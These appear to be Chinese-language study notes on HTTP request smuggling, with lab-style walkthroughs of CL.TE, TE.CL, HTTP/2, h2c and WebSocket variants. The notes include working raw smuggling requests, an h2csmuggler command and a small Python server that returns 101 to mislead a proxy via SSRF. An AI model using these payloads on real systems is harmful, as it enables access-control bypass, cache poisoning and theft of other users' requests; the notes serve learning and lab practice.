请求走私
前置内容
CL:Content-Length
CL的值为请求体长度,设定为多少就解析到多少,超出的内容丢弃,比如:
POST /submit HTTP/1.1
Host: good.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
q=smuggledData
TE:Transfer-Encoding
TE的值为chunked,数据包中以请求体大小(十六进制表示)表示开始,0表示结束,如:
POST /submit HTTP/1.1
Host: good.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggledData
0
HTTP/1.1走私
利用 CL.TE 进行请求走私
原理:主要由于前后端对请求边界的解析不一致导致
如果前端以CL解析为主,后端以TE解析为主,那么就会导致请求走私,比如:
POST /search HTTP/1.1
Host: example.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /update HTTP/1.1
Host: example.com
Content-Length: 13
Content-Type: application/x-www-form-urlencoded
isadmin=true
这个数据包中先由前端解析CL,认为下面携带的全是请求体,到后端时,后端解析TE,解析到0,认为请求到0就结束,后面的就是另一个请求,如此得以走私。
利用 TE.CL进行请求走私
与CL.TE走私相反,就是前端优先解析TE,后端解析CL,比如如下数据包:
POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked
78
POST /update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
isadmin=true
0
TE.TE编码混淆走私
攻击者利用服务器对 HTTP 头中存在的 Transfer-Encoding 处理不一致的优势。这通常由于错误的 TE 头导致,该头被前后端以不同的方式解析,在某些情况下,前端服务器可能会忽略或删除头中的格式错误部分,并正常处理请求,而后端服务器可能会由于格式错误的头而以不同的方式解释请求,从而导致请求走私。
比如以下数据包:
POST / HTTP/1.1
Host: example.com
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: chunked1
4e
POST /update HTTP/1.1
Host: example.com
Content-length: 15
isadmin=true
0
前端服务器遇到了两个 Transfer-Encoding 头。第一个是一个标准的分块编码,但第二个 chunked1 是非标准的。根据其配置,前端服务器可能会根据第一个 Transfer-Encoding: chunked 头处理请求,并忽略格式错误的 chunked1 ,将整个请求直到 0 解释为一个单独的分块消息。
后端服务器可能会以不同的方式处理格式错误的 Transfer-Encoding: chunked1 。它可能拒绝格式错误的这部分,并以与前端服务器类似的方式处理请求,或者由于存在非标准头而以不同的方式解释请求。如果它只处理由 Content-length: 4 指示的前 4 个字节,那么从 POST /update 开始的请求剩余部分随后被视为一个单独的新请求。
走私的请求通过 isadmin=true 参数被后端服务器处理,就像是一个合法的、独立的请求。这可能导致未经授权的操作或数据修改,具体取决于服务器的功能以及/update 端点的性质。
PS:为什么4e会被识别为CL=4,因为在数据包中没有直接显示回车换行:\r\n
这俩也会被识别为字符,即:4e\r\n
HTTP/2走私
前置
和HTTP/1.1不同,H2的格式有所区别,如图:
HTTP/2 请求具有以下组件:
- 伪头部:HTTP/2 定义了一些以冒号
:开头的头部。这些头部是有效 HTTP/2 请求所需的最小头部。在我们的图像中,我们可以看到:method、:path、:scheme和:authority伪头部。 - 响应头:在伪头之后,我们还有像
user-agent和content-length这样的常规头。请注意,HTTP/2 使用小写字母作为头名称。 - 请求体:与 HTTP/1.1 类似,这包含随请求发送的任何附加信息,如 POST 参数、上传的文件和其他数据。
协议不匹配&降级
H2.CL
后端采用CL解析请求边界,当将数据包中CL值设置为0,那么请求体的内容就会被滞留到缓存中,并与后面的其他请求进行拼接,如图:
当后面有其他请求,那么就会被拼接:
那么如果其中包含的请求体是恶意请求,那么就会被拼接,盗取用户输入的请求,比如其他用户的cookie
H2.TE
原理和利用与H2.CL类似,见图:
CRLF注入
在H2转H1时, 两个连续的\r\n,会被视为头部分隔符,从而导致走私请求:
内部头泄露
利用 CRLF 注入,可以实现内部头的泄露,比如发起如下请求:
内部的host是由前端自动拼接的,这就是内部头,但由于攻击者发送的请求末尾是参数,所以内部头会被当做参数返回
前端限制绕过
如果由一个资源当前的用户不被运行访问,但这不是由后端决定的,而是由前端,那么使用请求走私,就可以进行绕过,如图:
该请求中 /hello 是可以访问的,但 /admin 不被运行,那么这样就可以实现绕过前端限制进行访问。
站点缓存投毒
存在一个资源是可以被访问的,但如果发送如下图所示的请求,就会导致后端返回两个响应,前端代理预期接收一个响应,但后端实际返回多个响应,导致代理将未匹配的响应暂存到连接池中,而由于代理的缓存系统错误地将后续请求与暂存的响应关联,造成缓存投毒。
PS:在请求中包含了
Pragma: no-cache头部,以强制代理绕过任何缓存内容并将请求发送到后端服务器。这样做可以发送多个请求,直到payload被正确触发,而无需等待缓存超时。
后续所有请求 /static/text.js 的用户,均从缓存中获取 myjs.js 的恶意内容,直到缓存刷新。
h2c混淆攻击
前置
网络服务器可以在单个端口上为客户端提供多种 HTTP 协议版本。这很有用,因为您无法保证用户拥有符合 HTTP/2 的浏览器。这样,服务器就可以向客户端提供 HTTP/1.1 和 HTTP/2,客户端可以选择他们想要使用的版本。这个过程被称为协商,完全由您的浏览器处理。
原始的 HTTP/2 规范定义了两种协商 HTTP/2 的方式,这取决于通信是否加密。这两种方法使用了以下协议标识符:
- h2:在 TLS 加密通道上运行 HTTP/2 时使用的协议。它依赖于 TLS 的应用层协议协商(ALPN)机制来提供 HTTP/2。
- h2c:明文通道上的 HTTP/2。当没有加密可用时,会使用这种方式。由于 ALPN 是 TLS 的一个特性,您不能在明文通道上使用它。在这种情况下,客户端发送一个初始的 HTTP/1.1 请求,并添加几个额外的头部来请求升级到 HTTP/2。如果服务器确认了这些额外的头部,连接就会升级到 HTTP/2。
升级过程
由客户端发起请求h2c的升级请求,发起 Upgrade:h2c 和其他信息,如果后端接受升级就会返回101,然后转为H2。
h2c 走私隧道请求
当通过某些反向代理尝试 HTTP/1.1 连接升级时,它们会直接将升级头信息转发到后端服务器,而不是自己处理。后端服务器将执行升级并在之后管理新协议的通信。代理将隧道客户端和服务器之间的任何进一步通信,但不会再检查其内容,因为它假设协议已更改为 HTTP 之外的其他协议,从而导致 h2c 隧道走私。
PS:有时候代理会自行处理升级请求,这样那就无法进行走私。
示例
这个走私手动操作比较复杂,可以使用工具进行操作:h2csmuggler
python3 h2csmuggler.py -x https://MACHINE_IP:8200/ https://TARGET_IP:8200/private
WebSocket走私
当客户端发送一个初始请求,存在 Upgrade: websocket 请求升级隧道通信,如果目标服务器支持websocket,那么会返回101 Switching Protocols 并相应地升级连接,之后两者之间的通信由前端建立一个 websocket 隧道直接通信,而前端不会检查其中的数据。
但如果前端不检查升级请求的请求和响应结果,那么会出现websocket走私
可以创建一个格式错误的请求,使得代理认为执行了 WebSocket 升级,但后端服务器实际上并没有升级连接。这将迫使代理在客户端和服务器之间建立一个隧道,由于它假设现在是一个 WebSocket 连接,因此不会进行检查,但后端仍然期望 HTTP 流量。
一个方法是发送错误的 Sec-Websocket-Version 信息,使得后端返回 426 Upgrade Requied ,但由于前端没有检查其状态,其中混杂的走私流量也被返回。
正常的情况是发送 Sec-Websocket-Version:13 ,返回101 Switching Protocols 响应并升级连接。
案例
构造以下数据包:
GET /socket HTTP/1.1
Host: 10.10.54.93:8001
Sec-WebSocket-Version: 777
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1
Host: 10.10.54.93:8001
这样后端会返回错误426,但后面的走私数据也会得到反应,如此可以访问前端禁止访问的资源。
PS:数据包中最后一定要空两行,不然会失败

如果应用不支持websocket
有些代理甚至不需要 WebSocket 端点即可使此技术生效。只需要欺骗代理相信当前正在建立与 WebSocket 的连接,即使这并不真实。比如以下数据包:
GET / HTTP/1.1
Host: 10.10.54.93:8001
Sec-WebSocket-Version: 13
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1
Host: 10.10.54.93:8001

如果目标前端检查升级响应
利用SSRF,通过让服务器访问准备的恶意服务器上的脚本,返回101的响应,迷惑前端服务器,从而实现websocket走私
案例
搭建一个恶意站点,创建脚本,当有访问时,返回101值:
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 1:
print("""
Usage: {}
""".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.protocol_version = "HTTP/1.1"
self.send_response(101)
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
开始监听:
python3 myserver.py 5555
发送走私请求,得到flag

PS:要把bp设置为不更新CL,不然CL的长度会导致无法走私,还有要在最后添加两个空行

浙公网安备 33010602011771号